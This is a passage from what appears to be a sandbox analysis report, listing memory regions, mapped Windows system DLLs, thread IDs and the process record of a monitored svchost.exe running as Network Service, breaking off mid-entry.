Region: id = 686 start_va = 0x15d0000 end_va = 0x164ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 687 start_va = 0x1650000 end_va = 0x174ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 688 start_va = 0x1750000 end_va = 0x17cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 689 start_va = 0x1800000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 690 start_va = 0x1890000 end_va = 0x194ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 691 start_va = 0x19e0000 end_va = 0x1a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 692 start_va = 0x1af0000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001af0000" filename = "" Region: id = 693 start_va = 0x1ca0000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 694 start_va = 0x1d20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 695 start_va = 0x73440000 end_va = 0x73442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 696 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 697 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 698 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 699 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 700 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 701 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 702 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 703 start_va = 0x7fef8690000 end_va = 0x7fef869afff monitored = 0 entry_point = 0x7fef86912e0 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 704 start_va = 0x7fef8720000 end_va = 0x7fef8734fff monitored = 0 entry_point = 0x7fef87212a0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 705 start_va = 0x7fef8740000 end_va = 0x7fef8758fff monitored = 0 entry_point = 0x7fef874177c region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 706 start_va = 0x7fef8790000 end_va = 0x7fef879bfff monitored = 0 entry_point = 0x7fef879602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 707 start_va = 0x7fef87e0000 end_va = 0x7fef885bfff monitored = 0 entry_point = 0x7fef87e11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 708 start_va = 0x7fef8860000 end_va = 0x7fef8937fff monitored = 0 entry_point = 0x7fef88ea7d0 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 709 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 710 start_va = 0x7fef8f10000 end_va = 0x7fef8f83fff monitored = 0 entry_point = 0x7fef8f166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 711 start_va = 0x7fef9820000 end_va = 0x7fef982ffff monitored = 0 entry_point = 0x7fef9821010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 712 start_va = 0x7fef9830000 end_va = 0x7fef9841fff monitored = 0 entry_point = 0x7fef9831050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 713 start_va = 0x7fef98f0000 end_va = 0x7fef9908fff monitored = 0 entry_point = 0x7fef98f2b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 714 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 715 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 716 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 717 start_va = 0x7fefa6f0000 end_va = 0x7fefa6f9fff monitored = 0 entry_point = 0x7fefa6f47b8 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 718 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 719 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 720 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 721 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 722 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 723 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 724 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 725 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 726 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 727 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 728 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 729 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 730 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 731 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 732 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 733 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 734 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 735 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 736 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 737 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 738 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 739 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 740 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 741 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 742 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 743 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 744 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 745 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 746 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 747 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 748 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 749 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 750 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 751 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 752 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 753 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 754 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 755 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 756 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 757 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 758 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 759 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 760 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 761 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 762 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 763 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 764 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 765 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 766 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 767 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 768 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 769 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1839 start_va = 0x1420000 end_va = 0x149ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 5222 start_va = 0x4a0000 end_va = 0x4a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Thread: id = 32 os_tid = 0x864 Thread: id = 33 os_tid = 0x84c Thread: id = 34 os_tid = 0x1e4 Thread: id = 35 os_tid = 0x758 Thread: id = 36 os_tid = 0x6d8 Thread: id = 37 os_tid = 0x6ac Thread: id = 38 os_tid = 0x6a8 Thread: id = 39 os_tid = 0x678 Thread: id = 40 os_tid = 0x674 Thread: id = 41 os_tid = 0x14c Thread: id = 42 os_tid = 0x130 Thread: id = 43 os_tid = 0x118 Thread: id = 44 os_tid = 0x11c Thread: id = 45 os_tid = 0x3fc Thread: id = 136 os_tid = 0xbf4 Thread: id = 508 os_tid = 0xb48 Thread: id = 510 os_tid = 0xb4c Thread: id = 540 os_tid = 0xe64 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7b712000" os_pid = "0x148" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fd63" [0xc000000f], "LOCAL" [0x7] Region: id = 1059 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1060 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1061 start_va = 0x30000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1062 start_va = 0xb0000 end_va = 0xb3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 1063 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1064 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1065 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1066 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1067 start_va = 0x160000 end_va = 0x167fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1068 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1069 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1070 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1071 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1072 start_va = 0x1b0000 end_va = 0x1c9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1073 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1074 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1075 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1076 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1077 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1078 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1079 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1080 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1081 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1082 start_va = 0x5c0000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1083 start_va = 0x750000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 1084 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 1085 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1086 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 1087 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1088 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1089 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1090 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 1091 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1092 start_va = 0x890000 end_va = 0x891fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1093 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1094 start_va = 0x8b0000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 1095 start_va = 0x930000 end_va = 0x930fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1096 start_va = 0x940000 end_va = 0x944fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1097 start_va = 0x950000 end_va = 0x95ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1098 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1099 start_va = 0x970000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 1100 start_va = 0x9f0000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1101 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1102 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1103 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1104 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 1105 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 1106 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 1107 start_va = 0xad0000 end_va = 0xb8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1108 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1109 start_va = 0xba0000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private 